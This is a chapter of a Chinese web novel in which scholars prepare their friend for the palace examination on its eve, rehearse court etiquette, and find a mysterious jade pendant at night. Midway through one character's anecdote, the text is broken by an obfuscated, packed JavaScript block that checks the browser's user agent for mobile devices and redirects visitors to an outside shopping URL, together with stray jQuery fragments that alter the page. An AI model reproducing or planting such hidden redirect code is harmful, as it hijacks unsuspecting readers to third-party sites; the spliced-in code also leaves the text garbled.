第一百八十四章前夜静好


    殿试前夜，“竹石居”反而比平日更安静。


    傍晚时分，赵师傅特意炖了锅黄芪鸡汤，说是补气安神。汤熬得金黄，香气飘了满院。铁柱守在小火炉旁，认真盯着火候，时不时问一句：“赵伯，这汤真能让人睡得好？”


    “老祖宗传下来的方子。”赵师傅舀起一勺尝尝，“读书人费心神，得补补。”


    正厅里，青云诸友都在。但今日没人谈文章，也没人分析局势。桌上摊着的是明日要穿的朝服——深蓝色罗袍已经熨得平平整整，那双崭新的厚底官靴并排摆着，像两个严肃的守卫。


    沈千机拎起一只靴子掂了掂：“这底够厚，明天站几个时辰也不怕。”


    “沈兄懂这个？”王砚之问。


    “我铺子里的伙计常要站柜，我让他们都穿厚底鞋。”沈千机说得理所当然，“久站的学问，我熟。”


    林湛正在检查朝服的每一处针脚。李慕白在旁帮忙，手指轻抚过袍角的云纹：“这刺绣倒是精细，礼部备的衣裳，果然比市面上的好。”


    “听说这批贡士服是苏州织造特供的。”周文渊推了推眼镜，翻开小本，“我查过记录，每科殿试前三个月就开始准备了，用上等罗，绣纹都有规制。”


    陈致远从外面进来，手里拿着个小布包：“我从旧友那儿借了这个。”打开是一套皮护膝，“明日跪拜行礼用得上。宫里的金砖地，跪久了膝盖疼。”


    众人失笑。沈千机拍腿：“还是陈兄实在！这比什么鸡汤都管用！”


    汤熬好了，赵师傅招呼大家用饭。饭桌上多了几样菜：清蒸鱼、豆腐盒子、炒三鲜，都是好消化又不油腻的。


    铁柱给每人盛汤，轮到林湛时特意多捞了块鸡腿肉。林湛要分给大家，沈千机摆手：“别，明天你是主角，该补！”


    正吃着，院门被轻轻叩响。


    众人对视——这几日被各路人马搅得心烦，一听敲门声就警惕。


    铁柱放下碗要去开门，陈致远按住他，自己走到门后：“哪位？”


    门外是个温和的声音：“街坊老吴，送点自家做的枣糕。”


    陈致远从门缝确认，确实是巷尾的吴木匠。开门接过油纸包，吴木匠笑呵呵道：“听说林相公明日要进宫，咱们街坊凑不上什么热闹，就这点心意，祝林相公步步高升。”


    纸包里是切得整齐的枣糕，还温热着。


    关上门，铁柱嘟囔：“吴大叔怎么知道的……”


    “这条街哪有什么秘密。”赵师傅叹气，“昨日洗衣裳的刘婶来借皂角，今日送柴的老孙多问了两句，再加上那些来来往往的人——街坊们心里都明镜似的。”


    王砚之轻声道：“也是好意。”


    “所以咱们更得谨慎。”李慕白说，“别辜负了这些善意，也别给街坊惹麻烦。”


    饭后，众人移步书房。这次不是讨论学问，而是最后确认明日的流程。


    周文渊拿着他整理的时间表：“寅时三刻起身，卯时整出发，辰时前到东华门外等候。巳时初宫门开，列队入宫。午时皇上驾临，开始传胪大典。”


    “从列队到面圣，中间有两个时辰？”沈千机算着。


    “要在宫门外等候，核对身份，整理仪容。”周文渊解释，“然后入宫，在礼部官员引导下走固定路线，到太和殿前广场列队。每一步都有规矩，快不得。”


    陈致远补充：“我打听过，殿前等候时不能随意走动，不能交头接耳。有御史盯着，失仪者会被记录。”


    “所以——”林湛总结，“少说话，多观察，按规矩来。”


    接下来是礼仪复习。李慕白曾随家中长辈进过宫，记得些细节：“面圣时，视线要落在陛下御座前三尺处，不能直视天颜。跪拜时动作要稳，起身时不能摇晃。应答时声音要清朗，但不能过高。”


    王砚之接道：“我父亲说过，殿上传胪唱名时，被唱到的人要出列，走到丹陛下跪谢。起身后退时，要先退三步，再转身——不能直接转身背对皇上。”


    众人你一言我一语，把能想到的细节都过了一遍。沈千机听得头大：“这比谈生意签契约规矩还多！”


    “皇家礼仪，自然繁琐。”周文渊推眼镜，“不过林兄不必紧张，明日三百多贡士，礼仪官会引导。”


    戌时初，赵师傅端来安神茶。是淡淡的菊花配枣仁，每人一盏。


    喝着茶，气氛松弛下来。沈千机忽然说起他第一次做大生意前夜：“也是睡不着，在房里转悠了一宿。第二天去见客户，眼睛都是红的。”


    “后来呢？”铁柱好奇。


    “后来生意谈成了。”沈千机得意，“因为我想通了——紧张没用，该准备的都准备了，剩下的交给天意。”


    王砚之也笑：“我考院试前夜，母亲在我枕边放了枚铜


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17284946|196937||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    钱，说是‘压惊’。那晚我握着铜钱睡的，还真睡踏实了。”


    众人说着各自的考前趣事，书房里笑声轻轻。烛光摇曳，把几个年轻人的影子投在墙上，晃晃悠悠的。


    亥时，该休息了。


    林湛的朝服被郑重挂在书房屏风上，官靴摆在下方，皮护膝放在一旁。那套行头在烛光里泛着幽蓝的光泽，安静地等待明日。


    众人互道安歇，各自回房。铁柱和赵师傅检查了门窗，又在院里转了一圈。墙头那些小铜镜在月光下泛着微光，映出巷子里偶尔经过的人影——有陈致远旧友安排的巡夜人，也有不知是谁家的眼线。


    但这夜，竹石居内外都很平静。


    林湛躺在床上，听着窗外隐约的更声。没有辗转反侧，也没有胡思乱想。这几日的喧嚣、试探、防备，此刻都沉淀下来。


    他想起小时候第一次参加县试，母亲天不亮就起来煮鸡蛋，非让他吃两个，说“考一百分”。其实县试不分百分，但那份心意，他至今记得。


    后来一路考来，从田埂到县学，从府城到京城。每一步都有不同的人陪伴：有严师，有挚友，有暗中相助的陌生人，也有等着看笑话的旁观者。


    而明日，将是这一路的顶点——无论结果如何。


    远处传来隐约的梆子声，三更了。


    就在这时，书房方向传来轻微的“嗒”一声，像是有什么东西轻轻落在桌面上。


    林湛起身，披衣去看。书房里烛火已灭，只有月光从窗棂透入。朝服还静静挂着，桌上——


    多了一枚玉佩。


    玉佩温润，雕着简单的云纹，没有穗子，也没有刻字。就那样静静地躺在桌案中央，月光照在上面，泛起柔和的微光。


    不知是谁，不知何时，不知怎么送进来的。


    林湛拿起玉佩，触手生温。他走到窗边，推开一条缝。院墙外巷子里，一个身影正转身离去，步履轻捷，很快隐入夜色。


    没有威胁，没有言语，只有这枚无声的玉佩。


    林湛合上窗，将玉佩握在手心。温润的触感透过皮肤，像一句无声的祝福。


    他回到卧房，将玉佩放在枕边。然后躺下，闭目。


    更声悠长，夜色沉沉。


    而桌案上，那套深蓝朝服在月光中静静垂挂，袍角的云纹随着微风轻动，仿佛已经有了生命，等待着黎明时分，穿戴整齐，走进那座宫城。